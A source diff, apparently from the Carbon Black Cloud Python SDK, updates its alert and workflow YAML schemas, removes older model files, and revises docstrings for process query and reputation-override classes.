the Alerts page. Note that changes made by users do not change this date; those changes are reflected on `user_update_timestamp` + blocked_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the blocked file or process; applied by the sensor at the time the block occurred + blocked_md5: + type: string + description: MD5 hash of the child process binary; for any process terminated by the sensor + blocked_name: + type: string + description: Tokenized file path of the files blocked by sensor action + blocked_sha256: + type: string + description: SHA-256 hash of the child process binary; for any process terminated by the sensor + category: + type: string + description: Alert category - Monitored vs Threat + enum: + - THREAT + - MONITORED + - INFO + - MINOR + - SERIOUS + - CRITICAL + childproc_cmdline: + type: string + description: Command line for the child process + childproc_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the child process; applied by the sensor at the time the event occurred + childproc_guid: + type: string + description: Unique process identifier assigned to the child process + childproc_md5: + type: string + description: Hash of the child process' binary (Enterprise EDR) + childproc_name: + type: string + description: Filesystem path of the child process' binary + childproc_sha256: + type: string + description: Hash of the child process' binary (Endpoint Standard) + childproc_username: + type: string + description: User context in which the child process was executed + detection_timestamp: + type: string + format: date-time + description: For sensor-sent alerts, this is the time of the event on the sensor. For alerts generated on the backend, this is the time the backend system triggered the alert. + determination: + description: User-updatable determination of the alert + type: object + properties: + change_timestamp: + type: string + format: date-time + description: When the determination was updated. + changed_by: + type: string + description: User the determination was changed by. + changed_by_type: + type: string + description: + enum: + - SYSTEM + - USER + - API + - AUTOMATION + value: + type: string + description: Determination of the alert set by a user + enum: + - NONE + - TRUE_POSITIVE + - FALSE_POSITIVE + device_external_ip: + type: string + description: IP address of the endpoint according to the Carbon Black Cloud; can differ from device_internal_ip due to network proxy or NAT; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_id: + type: integer + format: int64 + description: ID of devices + device_internal_ip: + type: string + description: IP address of the endpoint reported by the sensor; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_location: + type: string + enum: + - ONSITE + - OFFSITE + - UNKNOWN + description: Whether the device was on or off premises when the alert started, based on the current IP address and the device’s registered DNS domain suffix + device_name: + type: string + description: Device name + device_os: + type: string + enum: + - WINDOWS + - ANDROID + - MAC + - LINUX + - OTHER + description: Device Operating Systems + device_os_version: + type: string + example: Windows 10 x64 + description: The operating system and version of the endpoint. Requires Windows CBC sensor version 3.5 or later. + device_policy: + type: string + description: Device policy + device_policy_id: + type: integer + format: int64 + description: Device policy id + device_target_value: + type: string + enum: + - LOW + - MEDIUM + - HIGH + - MISSION_CRITICAL + description: Target value assigned to the device, set from the policy + device_uem_id: + type: string + description: Device correlation with WS1/EUC, required for our Workspace ONE Intelligence integration to function + device_username: + type: string + description: Logged on user during the alert. This is filled on a best-effort + approach. If the user is not available it may be populated with the device + owner (empty for Container Runtime alerts) + first_event_timestamp: + type: string + format: date-time + description: Timestamp when the first event in the alert occurred + id: + type: string + description: Unique IDs of alerts + ioc_field: + type: string + description: The field the indicator of comprise (IOC) hit contains + ioc_hit: + type: string + description: IOC field value or IOC query that matches + ioc_id: + type: string + description: Unique identifier of the IOC that generated the watchlist hit + is_updated: + type: boolean + description: Boolean that describes whether or not this is the original copy of the alert + last_event_timestamp: + type: string + format: date-time + description: Timestamp when the last event in the alert occurred + ml_classification_final_verdict: + type: string + enum: + - NOT_CLASSIFIED + - NOT_ANOMALOUS + - ANOMALOUS + description: Final verdict of the alert, based on the ML models that were used to make the prediction. + ml_classification_global_prevalence: + type: string + enum: + - UNKNOWN + - LOW + - MEDIUM + - HIGH + description: Categories (low/medium/high) used to describe the prevalence of alerts across all regional organizations. + ml_classification_org_prevalence: + type: string + enum: + - UNKNOWN + - LOW + - MEDIUM + - HIGH + description: Categories (low/medium/high) used to describe the prevalence of alerts within an organization. + netconn_local_ip: + type: string + description: IP address of the remote side of the network connection; stored as dotted decimal + netconn_local_ipv4: + type: string + description: IPv4 address of the local side of the network connection; stored as a dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_ipv6: + type: string + description: IPv6 address of the local side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_port: + type: integer + format: int64 + description: TCP or UDP port used by the local side of the network connection + netconn_protocol: + type: string + description: Network protocol of the network connection + netconn_remote_domain: + type: string + description: Domain name (FQDN) associated with the remote end of the network connection, if available + netconn_remote_ip: + type: string + description: IP address of the local side of the network connection; stored as dotted decimal + netconn_remote_ipv4: + type: string + description: IPv4 address of the remote side of the network connection; stored as dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_ipv6: + type: string + description: IPv6 address of the remote side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_port: + type: integer + format: int64 + description: TCP or UDP port used by the remote side of the network connection; same as netconn_port and event_network_remote_port + org_key: + type: string + description: Unique alphanumeric string that identifies your organization in the Carbon Black Cloud + parent_cmdline: + type: string + description: Command line of the parent process + parent_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the parent process; applied by the sensor when the event occurred + parent_guid: + type: string + description: Unique process identifier assigned to the parent process + parent_md5: + type: string + description: MD5 hash of the parent process binary + parent_name: + type: string + description: Filesystem path of the parent process binary + parent_pid: + type: integer + format: int64 + description: Identifier assigned by the operating system to the parent process + parent_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the parent process; applied by the Carbon Black Cloud when the event is initially processed + parent_sha256: + type: string + description: SHA-256 hash of the parent process binary + parent_username: + type: string + description: User context in which the parent process was executed + policy_applied: + type: string + enum: + - APPLIED + - NOT_APPLIED + description: Indicates whether or not a policy has been applied to any event associated with this alert + primary_event_id: + type: string + description: ID of the primary event in the alert + process_cmdline: + type: string + description: Command line executed by the actor process + process_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the actor hash + process_guid: + type: string + description: Guid of the process that has fired the alert (optional) + process_issuer: + type: string + description: + process_md5: + type: string + description: MD5 hash of the actor process binary + process_name: + type: string + description: Process names of an alert + process_pid: + type: integer + format: int64 + description: PID of the process that has fired the alert (optional) + process_publisher: + type: string + description: + process_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the actor process; applied when event is processed by the Carbon Black Cloud + process_sha256: + type: string + description: SHA-256 hash of the actor process binary + process_username: + type: string + description: User context in which the actor process was executed. MacOS - all users for the PID for fork() and exec() transitions. Linux - process user for exec() events, but in a future sensor release can be multi-valued due to setuid(). + reason: + type: string + description: A spoken language written explanation of the what and why the alert occurred and any action taken, usually consisting of 1 to 3 sentences. + reason_code: + type: string + description: A unique short-hand code or GUID identifying the particular alert reason + report_description: + type: string + description: Description of the watchlist report associated with the alert + report_id: + type: string + description: Report IDs that contained the IOC that caused a hit + report_link: + type: string + description: Link of reports that contained the IOC that caused a hit + report_name: + type: string + description: Name of the watchlist report + report_tags: + type: string[] + description: Tags associated with the watchlist report + run_state: + type: string + enum: + - DID_NOT_RUN + - RAN + - UNKNOWN + description: Whether the threat in the alert actually ran + sensor_action: + type: string + enum: + - ALLOW + - ALLOW_AND_LOG + - DENY + - TERMINATE + description: Actions taken by the sensor, according to the rules of a policy + severity: + type: integer + format: int64 + description: integer representation of the impact of alert if true positive + tags: + type: array + description: Tags added to the threat ID of the alert + items: + type: string + threat_id: + type: string + description: ID assigned to a group of alerts with common criteria, based on alert type + threat_notes_present: + type: boolean + description: True if notes are present on the threat ID. False if notes are not present. + ttps: + type: string + description: Other potential malicious activities involved in a threat + type: + type: string + enum: + - CB_ANALYTICS + - WATCHLIST + - DEVICE_CONTROL + - CONTAINER_RUNTIME + - HOST_BASED_FIREWALL + - INTRUSION_DETECTION_SYSTEM + - NETWORK_TRAFFIC_ANALYSIS + description: Type of alert generated + user_update_timestamp: + type: string + format: date-time + description: Timestamp of the last property of an alert changed by a user, such as the alert workflow or determination + watchlists: + type: object + description: List of watchlists associated with an alert. Alerts are batched hourly + properties: + id: + type: string + description: + name: + type: string + description: + workflow: + type: object + description: Current workflow state of an alert. The workflow represents the flow from `OPEN` to `IN_PROGRESS` to `CLOSED` and captures who moved the alert into the current state. The history of these state transitions is available via the alert history route. + properties: + change_timestamp: + type: string + format: date-time + description: When the last status change occurred + workflow_changed_by: + type: string + description: Who (or what) made the last status change + workflow_changed_by_rule_id: + type: string + description: + workflow_changed_by_type: + type: string + enum: + - SYSTEM + - USER + - API + - AUTOMATION + description: + workflow_closure_reason: + type: string `NO_REASON`, `RESOLVED`, `RESOLVED_BENIGN_KNOWN_GOOD`, `DUPLICATE_CLEANUP`, `OTHER` + description: A more detailed description of why the alert was resolved + workflow_status: + type: string + enum: + - OPEN + - IN_PROGRESS + - CLOSED + description: primary value used to determine if the alert is active or inactive and displayed in the UI by default \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/base_alert.yaml b/src/cbc_sdk/platform/models/base_alert.yaml deleted file mode 100644 index a99b3f7c4..000000000 --- a/src/cbc_sdk/platform/models/base_alert.yaml +++ /dev/null @@ -1,140 +0,0 @@ -type: object -properties: - category: - type: string - description: Alert category - Monitored vs Threat - enum: - - THREAT - - MONITORED - - INFO - - MINOR - - SERIOUS - - CRITICAL - create_time: - type: string - format: date-time - description: Time the alert was created - device_id: - type: integer - format: int64 - description: ID of the device (empty for Container Runtime alerts) - device_name: - type: string - description: Device name (empty for Container Runtime alerts) - device_os: - type: string - description: Device OS (empty for Container Runtime alerts) - enum: - - WINDOWS - - ANDROID - - MAC - - IOS - - LINUX - - OTHER - device_os_version: - type: string - example: Windows 10 x64 - description: Device OS Version (empty for Container Runtime alerts) - device_username: - type: string - description: Logged on user during the alert. This is filled on a best-effort - approach. If the user is not available it may be populated with the device - owner (empty for Container Runtime alerts) - first_event_time: - type: string - format: date-time - description: Time of the first event in an alert - group_details: - description: Group details for when alert grouping is on - type: object - properties: - count: - type: integer - format: int64 - description: Number of times the event has occurred - total_devices: - type: integer - format: int64 - description: The number of devices that have seen this alert - id: - type: string - description: Unique ID for this alert - last_event_time: - type: string - format: date-time - description: Time of the last event in an alert - last_update_time: - type: string - format: date-time - description: Time the alert was last updated - legacy_alert_id: - type: string - description: Unique short ID for this alert. This is deprecated and only available - on alerts stored in the old schema. - notes_present: - type: boolean - description: Are notes present for this threatId - org_key: - type: string - example: ABCD1234 - description: Unique identifier for the organization to which the alert belongs - policy_id: - type: integer - format: int64 - description: ID of the policy the device was in at the time of the alert - policy_name: - type: string - description: Name of the policy the device was in at the time of the alert - severity: - type: integer - format: int32 - description: Threat ranking - tags: - type: array - description: Tags for the alert - items: - type: string - target_value: - type: string - description: Device priority as assigned via the policy - enum: - - LOW - - MEDIUM - - HIGH - - MISSION_CRITICAL - threat_id: - type: string - description: ID of the threat to which this alert belongs. Threats are comprised - of a combination of factors that can be repeated across devices. - type: - type: string - description: Type of the alert - enum: - - CB_ANALYTICS - - DEVICE_CONTROL - - WATCHLIST - - CONTAINER_RUNTIME - workflow: - description: User-updatable status of the alert - type: object - properties: - changed_by: - type: string - description: Username of the user who changed the workflow - comment: - type: string - description: Comment when updating the workflow - last_update_time: - type: string - format: date-time - description: When the workflow was last updated - remediation: - type: string - description: Alert remediation code. Indicates the result of the investigation - into the alert - state: - type: string - description: State of the workflow - enum: - - OPEN - - DISMISSED diff --git a/src/cbc_sdk/platform/models/base_alert_note.yaml b/src/cbc_sdk/platform/models/base_alert_note.yaml deleted file mode 100644 index f6b828adb..000000000 --- a/src/cbc_sdk/platform/models/base_alert_note.yaml +++ /dev/null @@ -1,15 +0,0 @@ -type: object -properties: - author: - type: string - description: User who created the note - create_time: - type: string - format: date-time - description: Time the note was created - id: - type: string - description: Unique ID for this note - note: - type: string - description: Note contents \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/workflow.yaml b/src/cbc_sdk/platform/models/workflow.yaml index 8807a69f1..6c094701f 100644 --- a/src/cbc_sdk/platform/models/workflow.yaml +++ b/src/cbc_sdk/platform/models/workflow.yaml @@ -4,20 +4,36 @@ properties: changed_by: type: string description: Username of the user who changed the workflow - comment: - type: string - description: Comment when updating the workflow - last_update_time: + change_timestamp: type: string format: date-time description: When the workflow was last updated - remediation: + changed_by_type: + type: string + description: The type of request that made the change + determination: + type: string + enum: + - TRUE_POSITIVE + - FALSE_POSITIVE + - NONE + closure_reason: type: string description: Alert remediation code. Indicates the result of the investigation into the alert - state: + enum: + - NO_REASON + - RESOLVED + - RESOLVED_BENIGN_KNOWN_GOOD + - DUPLICATE_CLEANUP + - OTHER + note: + type: string + description: Comment when updating the workflow + status: type: string description: State of the workflow enum: - - OPEN - - DISMISSED + - OPEN + - IN_PROGRESS + - CLOSED diff --git a/src/cbc_sdk/platform/models/workflow_status.yaml b/src/cbc_sdk/platform/models/workflow_status.yaml deleted file mode 100644 index 202e8cb57..000000000 --- a/src/cbc_sdk/platform/models/workflow_status.yaml +++ /dev/null @@ -1,56 +0,0 @@ -type: object -description: Dismiss status response for async calls -properties: - errors: - type: array - description: Errors for dismiss alerts or threats, if no errors it won't be - included in response - items: - type: string - failed_ids: - type: array - description: Failed ids - items: - type: string - id: - type: string - description: Time based id for async job, it's not unique across the orgs - num_hits: - type: integer - format: int64 - description: Total number of alerts to be operated on - num_success: - type: integer - format: int64 - description: Successfully operated number of alerts - status: - type: string - description: Status for the async progress - enum: - - QUEUED - - IN_PROGRESS - - FINISHED - workflow: - description: Requested workflow change - type: object - properties: - changed_by: - type: string - description: Username of the user who changed the workflow - comment: - type: string - description: Comment when updating the workflow - last_update_time: - type: string - format: date-time - description: When the workflow was last updated - remediation: - type: string - description: Alert remediation code. Indicates the result of the investigation - into the alert - state: - type: string - description: State of the workflow - enum: - - OPEN - - DISMISSED diff --git a/src/cbc_sdk/platform/observations.py b/src/cbc_sdk/platform/observations.py index f59afac73..2909d7f45 100644 --- a/src/cbc_sdk/platform/observations.py +++ b/src/cbc_sdk/platform/observations.py @@ -115,7 +115,7 @@ def get_details(self, timeout=0, async_mode=False): >>> observation = api.select(Observation, observation_id) >>> observation.get_details() - >>> observations = api.select(Observation.where(process_pid=2000) + >>> observations = api.select(Observation).where(process_pid=2000) >>> observations[0].get_details() """ self._details_timeout = timeout diff --git a/src/cbc_sdk/platform/processes.py b/src/cbc_sdk/platform/processes.py index 25dae5005..5ca5853c0 100644 --- a/src/cbc_sdk/platform/processes.py +++ b/src/cbc_sdk/platform/processes.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 - # ******************************************************* # Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. # SPDX-License-Identifier: MIT @@ -11,7 +10,27 @@ # * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, # * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. -"""Model and Query Classes for Processes""" +""" +Model and query that allow location and manipulation of process data reported by an organization's sensors. + +This data can be used to identify applications that are acting abnormally and over time, cull the outliers from the +total observed process activity, and retroactively identify the origination point for attacks that previously escaped +notice. Use cases include: + +* Finding the process that was identified in an alert with a process search. +* Finding processes that match targeted behavioral characteristics identified in Carbon Black or third-party threat + intelligence reports. +* Finding additional details about processes that were potentially involved in malicious activity identified elsewhere. +* Using faceting to get filtering terms or prevalent values in a set of processes. + +Locating processes generally requires the Endpoint Standard or Enterprise EDR products. + +Typical usage example: + + >>> query = api.select(Process).where("process_name:chrome.exe") + >>> for process in query: + ... print(f"Chrome PID = {process.process_guid}") +""" from cbc_sdk.base import (UnrefreshableModel, BaseQuery, Query, FacetQuery, QueryBuilderSupportMixin, QueryBuilder, @@ -29,29 +48,33 @@ class Process(UnrefreshableModel): - """Represents a process retrieved by one of the Enterprise EDR endpoints. + """ + Information about a process running on one of the endpoints connected to the Carbon Black Cloud. + + Objects of this type are retrieved through queries to the Carbon Black Cloud server, such as via + ``AsyncProcessQuery``. Examples: # use the Process GUID directly - >>> process = api.select(Process, "WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") # use the Process GUID in a where() clause - - >>> process_query = (api.select(Process).where(process_guid= - "WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb")) - >>> process_query_results = [proc for proc in process_query] + >>> process_query = api.select(Process).where(process_guid= + ... "WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") + >>> process_query_results = list(process_query) >>> process_2 = process_query_results[0] """ default_sort = 'last_update desc' primary_key = "process_guid" - validation_url = "/api/investigate/v1/orgs/{}/processes/search_validation" + validation_url = "/api/investigate/v2/orgs/{}/processes/search_validation" + validation_method = "POST" urlobject = "" class Summary(UnrefreshableModel): - """Represents a summary of organization-specific information for a process. + """ + A summary of organization-specific information for a process. - The preferred interface for interacting with Summary models is `Process.summary`. + The preferred interface for interacting with ``Summary`` models is ``Process.summary``. Example: >>> process = api.select(Process, "WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") @@ -74,14 +97,14 @@ class Summary(UnrefreshableModel): def __init__(self, cb, model_unique_id=None, initial_data=None, force_init=False, full_doc=True): """ - Initialize the Summary object. + Initialize the ``Summary`` object. Args: - cb (CBCloudAPI): A reference to the CBCloudAPI object. + cb (CBCloudAPI): A reference to the ``CBCloudAPI`` object. model_unique_id (str): The unique ID for this particular instance of the model object. initial_data (dict): The data to use when initializing the model object. - force_init (bool): True to force object initialization. - full_doc (bool): True to mark the object as fully initialized. + force_init (bool): ``True`` to force object initialization. + full_doc (bool): ``True`` to mark the object as fully initialized. """ if model_unique_id is not None and initial_data is None: initial_data = cb.select(Process.Summary).where(process_guid=model_unique_id).results._info @@ -90,12 +113,7 @@ def __init__(self, cb, model_unique_id=None, initial_data=None, force_init=False full_doc=True) def __str__(self): - """ - Returns a string representation of the object. - - Returns: - str: A string representation of the object. - """ + """Returns a string representation of the object.""" lines = [] for top_level in self._info: if self._info[top_level] and top_level in self.SHOW_ATTR: @@ -126,12 +144,14 @@ def __str__(self): @classmethod def _query_implementation(self, cb, **kwargs): + """Returns a new query for ``Summary`` objects (type ``SummaryQuery``).""" return SummaryQuery(self, cb, **kwargs) class Tree(UnrefreshableModel): - """Represents a summary of organization-specific information for a process. + """ + Summary of organization-specific information for a process. - The preferred interface for interacting with Tree models is `Process.tree`. + The preferred interface for interacting with ``Tree`` models is ``Process.tree``. Example: >>> process = api.select(Process, "WNEXFKQ7-00050603-0000066c-00000000-1d6c9acb43e29bb") @@ -149,14 +169,14 @@ class Tree(UnrefreshableModel): def __init__(self, cb, model_unique_id=None, initial_data=None, force_init=False, full_doc=True): """ - Initialize the Tree object. + Initialize the ``Tree`` object. Args: - cb (CBCloudAPI): A reference to the CBCloudAPI object. + cb (CBCloudAPI): A reference to the ``CBCloudAPI`` object. model_unique_id (str): The unique ID for this particular instance of the model object. initial_data (dict): The data to use when initializing the model object. - force_init (bool): True to force object initialization. - full_doc (bool): True to mark the object as fully initialized. + force_init (bool): ``True`` to force object initialization. + full_doc (bool): ``True`` to mark the object as fully initialized. """ if model_unique_id is not None and initial_data is None: initial_data = cb.select(Process.Tree).where(process_guid=model_unique_id).results._info @@ -166,12 +186,7 @@ def __init__(self, cb, model_unique_id=None, initial_data=None, force_init=False ) def __str__(self): - """ - Returns a string representation of the object. - - Returns: - str: A string representation of the object. - """ + """Returns a string representation of the object.""" lines = [] lines.append('process:') for attr in self._info: @@ -196,22 +211,24 @@ def __str__(self): @classmethod def _query_implementation(self, cb, **kwargs): + """Returns a new query for ``Tree`` objects (type ``SummaryQuery``).""" return SummaryQuery(self, cb, **kwargs) @classmethod def _query_implementation(self, cb, **kwargs): + """Returns a new query for ``Process`` objects (type ``AsyncProcessQuery``).""" return AsyncProcessQuery(self, cb) def __init__(self, cb, model_unique_id=None, initial_data=None, force_init=False, full_doc=False): """ - Initialize the Process object. + Initialize the ``Process`` object. Args: - cb (CBCloudAPI): A reference to the CBCloudAPI object. + cb (CBCloudAPI): A reference to the ``CBCloudAPI`` object. model_unique_id (str): The unique ID (GUID) for this process. initial_data (dict): The data to use when initializing the model object. - force_init (bool): True to force object initialization. - full_doc (bool): True to mark the object as fully initialized. + force_init (bool): ``True`` to force object initialization. + full_doc (bool): ``True`` to mark the object as fully initialized. """ if model_unique_id is not None and initial_data is None: process_future = cb.select(Process).where(process_guid=model_unique_id).execute_async() @@ -228,10 +245,8 @@ def summary(self): @property def tree(self): - """Returns a Process Tree associated with this process. - - Returns: - Tree (cbc_sdk.enterprise_edr.Tree): Tree with children (and possibly siblings). + """ + Returns a process tree associated with this process. Example: >>> tree = process.tree @@ -240,11 +255,7 @@ def tree(self): @property def parents(self): - """Returns a parent process associated with this process. - - Returns: - parent (Process): Parent Process if one exists, None if the process has no recorded parent. - """ + """Returns the parent process associated with this process, or ``None`` if there is no recorded parent.""" if "parent_guid" in self._info: return self._cb.select(Process, self.parent_guid) elif self.summary.parent: @@ -254,12 +265,7 @@ def parents(self): @property def children(self): - """Returns a list of child processes for this process. - - Returns: - children ([Process]): List of Processes, one for each child of the - parent Process. - """ + """Returns a list of child processes for this process.""" if isinstance(self.summary.children, list): return [ Process(self._cb, initial_data=child) @@ -270,12 +276,7 @@ def children(self): @property def siblings(self): - """Returns a list of sibling processes for this process. - - Returns: - siblings ([Process]): List of Processes, one for each sibling of the - parent Process. - """ + """Returns a list of sibling processes for this process.""" return [ Process(self._cb, initial_data=sibling) for sibling in self.summary.siblings @@ -283,13 +284,9 @@ def siblings(self): @property def process_md5(self): - """Returns a string representation of the MD5 hash for this process. - - Returns: - hash (str): MD5 hash of the process. - """ + """Returns a string representation of the MD5 hash for this process.""" # NOTE: We have to check _info instead of poking the attribute directly - # to avoid the missing attrbute login in NewBaseModel. + # to avoid the missing attribute login in NewBaseModel. if "process_hash" in self._info: return next((hsh for hsh in self.process_hash if len(hsh) == 32), None) elif "process_hash" in self.summary._info["process"]: @@ -299,11 +296,7 @@ def process_md5(self): @property def process_sha256(self): - """Returns a string representation of the SHA256 hash for this process. - - Returns: - hash (str): SHA256 hash of the process. - """ + """Returns a string representation of the SHA256 hash for this process.""" if "process_hash" in self._info: return next((hsh for hsh in self.process_hash if len(hsh) == 64), None) elif "process_hash" in self.summary._info["process"]: @@ -313,12 +306,7 @@ def process_sha256(self): @property def process_pids(self): - """Returns a list of PIDs associated with this process. - - Returns: - pids ([int]): List of integer PIDs. - None if there are no associated PIDs. - """ + """Returns a list of integer PIDs associated with this process, or ``None`` if there are none.""" # NOTE(ww): This exists because the API returns the list as "process_pid", # which is misleading. We just give a slightly clearer name. if "process_pid" in self._info: @@ -329,15 +317,12 @@ def process_pids(self): return None def events(self, **kwargs): - """Returns a query for events associated with this process's process GUID. + """ + Returns a query for events associated with this process's process GUID. Args: kwargs: Arguments to filter the event query with. - Returns: - query (cbc_sdk.enterprise_edr.Query): Query object with the appropriate - search parameters for events - Example: >>> [print(event) for event in process.events()] >>> [print(event) for event in process.events(event_type="modload")] @@ -350,24 +335,30 @@ def events(self, **kwargs): return query def facets(self): - """Returns a FacetQuery for a Process. + """ + Returns a ``FacetQuery`` for a Process. - This represents the search for a summary of result groupings (facets). - The returned AsyncFacetQuery object must have facet fields or ranges specified - before it can be submitted, using the `add_facet_field()` or `add_range()` methods. + This represents the search for a summary of result groupings (facets). The returned ``AsyncFacetQuery`` + object must have facet fields or ranges specified before it can be submitted, using the ``add_facet_field()`` + or ``add_range()`` methods. """ return self._cb.select(ProcessFacet).where(process_guid=self.process_guid) def get_details(self, timeout=0, async_mode=False): - """Requests detailed results. + """ + Requests detailed information about this process from the Carbon Black Cloud server. + + Required Permissions: + org.search.events(CREATE, READ) Args: timeout (int): Event details request timeout in milliseconds. - async_mode (bool): True to request details in an asynchronous manner. + async_mode (bool): ``True`` to request details in an asynchronous manner. - Note: - - When using asynchronous mode, this method returns a python future. - You can call result() on the future object to wait for completion and get the results. + Returns: + Future: If ``async_mode`` is ``True``. Call ``result()`` on this ``Future`` to wait for completion and + retrieve the results. + dict: If ``async_mode`` is ``False``. """ self._details_timeout = timeout if not self.process_guid: @@ -431,14 +422,14 @@ def _get_detailed_results(self): return self def ban_process_sha256(self, description=""): - """Bans the application by adding the process_sha256 to the BLACK_LIST + """ + Bans the application by adding the ``process_sha256`` to the ``BLACK_LIST``. Args: - description: The justification for why the application was added to the BLACK_LIST + description (str): The justification for why the application was added to the ``BLACK_LIST``. Returns: - ReputationOverride (cbc_sdk.platform.ReputationOverride): ReputationOverride object - created in the Carbon Black Cloud + cbc_sdk.platform.ReputationOverride) ``ReputationOverride`` object created in the Carbon Black Cloud. """ return ReputationOverride.create(self._cb, { "description": description, @@ -448,14 +439,14 @@ def ban_process_sha256(self, description=""): "filename": Path(self.process_name.replace('\\', os.sep)).name}) def approve_process_sha256(self, description=""): - """Approves the application by adding the process_sha256 to the WHITE_LIST + """ + Approves the application by adding the ``process_sha256`` to the ``WHITE_LIST``. Args: - description: The justification for why the application was added to the WHITE_LIST + description (str): The justification for why the application was added to the ``WHITE_LIST``. Returns: - ReputationOverride (cbc_sdk.platform.ReputationOverride): ReputationOverride object - created in the Carbon Black Cloud + cbc_sdk.platform.ReputationOverride: ``ReputationOverride`` object created in the Carbon Black Cloud. """ return ReputationOverride.create(self._cb, { "description": description, @@ -466,45 +457,40 @@ def approve_process_sha256(self, description=""): class ProcessFacet(UnrefreshableModel): - """Represents the results of an AsyncFacetQuery. + """ + Represents the results of a process facet query. - ProcessFacet objects contain both Terms and Ranges. Each of those contain facet - fields and values. + ``ProcessFacet`` objects contain both ``Terms`` and ``Ranges``. Each of those contain facet fields and values. - Access all of the Terms facet data with :func:`ProcessFacet.Terms.facets` or see just - the field names with :func:`ProcessFacet.Terms.fields`. + Access all of the ``Terms`` facet data with :py:func:`ProcessFacet.Terms.facets` or see just the field names with + :py:func:`ProcessFacet.Terms.fields`. - Access all of the Ranges facet data with :func:`ProcessFacet.Ranges.facets` or see just - the field names with :func:`ProcessFacet.Fanges.fields`. + Access all of the ``Ranges`` facet data with :py:func:`ProcessFacet.Ranges.facets` or see just the field names + with :py:func:`ProcessFacet.Ranges.fields`. - Process Facets can be queried for via `CBCloudAPI.select(ProcessFacet)`. Specify - facet field(s) with `.add_facet_field("my_facet_field")`. + Process facets can be queried for via ``CBCloudAPI.select(ProcessFacet)``. Specify facet field(s) with + ``.add_facet_field("my_facet_field")``. - Optionally you can limit the facet query to a single process with the following - two options. Using the solrq builder specify Process GUID with - `.where(process_guid="example_guid")` and modify the query with - `.or_(parent_effective_reputation="KNOWN_MALWARE")` and - `.and_(parent_effective_reputation="KNOWN_MALWARE")`. + Optionally, you can limit the facet query to a single process with the following two options. Using the solrq + builder, specify process GUID with ``.where(process_guid="example_guid")`` and modify the query with + ``.or_(parent_effective_reputation="KNOWN_MALWARE")`` and 